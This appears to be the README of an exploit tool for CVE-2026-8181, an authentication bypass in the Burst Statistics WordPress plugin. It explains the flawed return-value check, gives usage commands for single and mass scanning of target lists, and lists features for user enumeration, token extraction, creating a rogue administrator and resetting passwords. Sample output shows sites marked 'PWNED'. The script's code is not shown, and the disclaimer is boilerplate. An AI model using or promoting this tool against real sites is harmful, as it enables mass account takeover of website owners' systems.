CVE-2026-8181

Burst Statistics | Authentication Bypass to Admin Account Takeover

Description :

Burst Statistics 3.4.0 - 3.4.1.1 - Authentication Bypass to Admin Account Takeover

The Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) plugin for WordPress is vulnerable to Authentication Bypass in versions 3.4.0 to 3.4.1.1. This is due to incorrect return-value handling in the is_mainwp_authenticated() function when validating application passwords from the Authorization header. The function calls wp_authenticate_application_password(null, $username, $password) which returns null (not WP_Error) when the target user has no Application Passwords configured. Since the code only checks is_wp_error(), it proceeds to call wp_set_current_user() — granting full admin privileges to the attacker for the entire request.

The bypass is triggered during plugins_loaded (priority 9) via has_admin_access() in the plugin's bootstrap, meaning the user impersonation happens before WordPress REST API dispatches any route — allowing access to all WP Core endpoints (/wp/v2/users, /wp/v2/users/me, etc.) as administrator.

This makes it possible for unauthenticated attackers, with knowledge of an administrator username, to impersonate that administrator by supplying any random Basic Authentication password, achieving full privilege escalation and admin account takeover.

INFO : CVE-2026-8181

~ CVSS Score: 9.8 (Critical)

~ CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

~ Affected Versions: 3.4.0 - 3.4.1.1

~ Patched Version: 3.4.2

• Researcher : Chloe Chamberland - Wordfence

Usage :

Single target :

• python3 shadow.py -u https://target.com

Single target with known username :

• python3 shadow.py -u https://target.com -U admin

Mass targets :

• python3 shadow.py -f targets.txt -t 20

Interactive mode :

• python3 shadow.py
• input target file name
• input thread 1-50 max
• input timeout 5-30s

Features :

• Multi-threading (mass scan up to 50 threads)
• Authentication Bypass via X-BURSTMAINWP header + Basic Auth
• Auto WordPress Detection
• Burst Statistics Version Detection & Vulnerable Version Check
• Route Alive Check (/burst/v1/mainwp-auth)
• User Enumeration (REST API + Author Archive + oEmbed fallback)
• Application Password Token Extraction
• Admin User Creation via WP REST API
• Admin Password Reset (fallback)
• Takeover Verification via wp-login.php
• Auto HTTP/HTTPS Fallback & Retry
• Triple Output (user.txt, token.txt, new-user-and-header.txt)

Output :

╔══════════════════════════════════════════════════════╗
║  🔥 CVE-2026-8181 Burst Statistics Auth Bypass       ║
║  👩‍💻 Friska & Shadow | Route Check | Full Fallback  ║
║  🎯 3.4.0-3.4.1.1 | CVSS 9.8 | Triple Output        ║
╚══════════════════════════════════════════════════════╝

[*] [HTTP] http://target.com
[+] Burst Statistics version: 3.4.0
[+] Burst mainwp-auth route alive!
[*] Testing 2 user(s): admin, editor
[*] Trying bypass on: admin (id=1)
[+] BYPASS SUCCESS → admin (id=1, admin=True)
[+] Application Password token extracted!
[💀] USER CREATED: shadow / R4nd0mP@ss!
[💀] TAKEOVER VERIFIED via wp-login.php!
[💀] SUCCESS! http://target.com/wp-admin/

⚡ MASS SCAN: 50 targets | 20 threads
────────────────────────────────────────────────────────────
[💀] [1/50] http://target1.com → PWNED!
[💀] [2/50] http://target2.com → PWNED!
[☠️] [3/50] http://target3.com → DEAD
[-] [4/50] http://target4.com → SECURED
[!] [5/50] http://target5.com → PATCHED
────────────────────────────────────────────────────────────

╔══════════════════════════════════╗
║       📊 SCAN SUMMARY            ║
╠══════════════════════════════════╣
║ 💀 PWNED: 12                     ║
║ ☠️  DEAD: 8                      ║
║ 🔒 SECURED: 5                    ║
║ ⚠️  PATCHED: 15                  ║
║ ❌ FAILED: 10                    ║
╠══════════════════════════════════╣
║ Total: 50                        ║
╚══════════════════════════════════╝

[+] 📁 user.txt | token.txt | new-user-and-header.txt

Disclaimer :

This tool is for educational and security testing purposes only.

Unauthorized use of systems you don't own or don't have permission to test is illegal.